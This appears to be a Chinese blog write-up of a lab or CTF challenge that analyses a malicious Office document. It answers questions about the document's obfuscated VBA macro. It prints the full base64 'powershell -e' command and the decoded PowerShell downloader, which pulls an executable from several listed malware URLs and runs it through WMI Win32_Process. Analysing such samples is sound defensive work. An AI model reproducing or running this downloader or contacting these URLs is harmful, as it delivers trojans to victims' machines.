jaquhoiqu = csqw + Join(feaxgeip, eihnx)
Dim gBv As Object
juuvzouchmiopxeox = jaquhoiqu
Dim lqsqsHrCH As Boolean
End Function
Function geulgelquuuj()
sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
geulgelquuuj = juuvzouchmiopxeox(sjiqw)
Dim kbqvO4�7�r As Byte
End Function
Function luumlaud(zeolkaepxoag)
Set luumlaud = CreateObject(zeolkaepxoag)
Dim vPu As String
vPu = Replace$("BenqV1�igVwifwdQq", "BenqV1�i", "on5�")
luumlaud _
. _
showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3�T7�", "cLwhWVLMDS", "AvYXNNS")
End Function

​ 相信你也看见了这句话:

feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")

​ 这里就是用split函数,将我们刚刚讲的那个当逗号用的那个长字符串用来分隔字符串emm,那其实我们应该很早以前就发现答案了吧。。。哈哈拉着你们和我想这么久。

​ Q7我们来看看吧,问我们Base64编码字符串执行的是什么程序?

​ 还记得上面那个玩意吗,就是我换成逗号的那个玩意,我们把那个字符串中逗号去掉

1
�powersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=

​ 最上面暴露了,这个就是执行的一个powershell程序(Q7答案),在这里具体就是长这个样子:

1
2
3
4
5
powershell.exe

└── -e

└── -EncodedCommand

​ 是的,这剩下的base64就是这个encodedcommand,那我们不妨看看这些个玩意decode之后长什么样子:
image-20260821172751231

​ 丑娃娃,我们用脚本处理一下:

1
2
3
4
5
6
7
8
9
10
11
import base64

data = """YQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA="""

data = "".join(data.split())

decoded = base64.b64decode(data).decode("utf-16le")

print(decoded)

#output:aitgoh';$toehfethxohbaey=$env:userprofile+'\'+$deichbeudreir+'.exe';$sienteed='quainquachloaz';$reusthoas=.('n'+'ew-ob'+'ject') nEt.weBclIenT;$jacleewyiqu='https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/*https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/*http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/*http://holfve.se/images/1ckw5mj49w_2k11px_d/*http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/'."s`PliT"([char]42);$seccierdeeth='duuzyeawpuaqu';foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWN`loA`dfi`Le"($geersieb, $toehfethxohbaey);$buhxeuh='doeydeidquaijleuc';If ((.('Get-'+'Ite'+'m') $toehfethxohbaey)."l`eNGTH" -ge 24751) {([wmiclass]'win32_Process')."C`ReaTe"($toehfethxohbaey);$quoodteeh='jiafruuzlaolthoic';break;$chigchienteiqu='yoowveihniej'}}catch{}}$toizluulfier='foqulevcaoj'

​ 这下好看多了(虽然还是丑娃娃),不是吗,我都能从里面找到Q8的answer了。不知道你们有没有看见这里:

{([wmiclass]'win32_Process')."CReaTe”

​ 提取的内容显示,该脚本会动态构建有效载荷,下载后使用 WMIWin32_Process类执行。这种技术使攻击者能够隐蔽地启动木马程序,而无需依赖传统的进程执行方法,从而避免了被安全工具检测到的风险。

​ Q8都出来了,Q9其实也在这里?

​ 问咱们的是什么?已尝试通过多个域名下载木马程序。请根据提示提供第一个完全限定域名 (FQDN)。

​ 依旧是看这里的我们的解码内容,头上这里有一个这个:https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj,该域名haoqunkong.com是脚本中引用的第一个完全限定域名 (FQDN)。脚本会构建并连接此 URL 以获取恶意载荷。URL 中使用 HTTPS 表明脚本试图加密传输,从而增加网络安全工具拦截和分析通信的难度。通过提取完全限定域名 (FQDN) haoqunkong.com,我们可以识别出此次攻击中用于分发木马程序的主要域名。该域名是攻击者基础设施的入口点,对于事件响应团队进行拦截和进一步调查至关重要。

​ 这下,我们的恶意office分析结束了。

留言

欢迎留下想法。留言将由 GitHub Discussions 保存。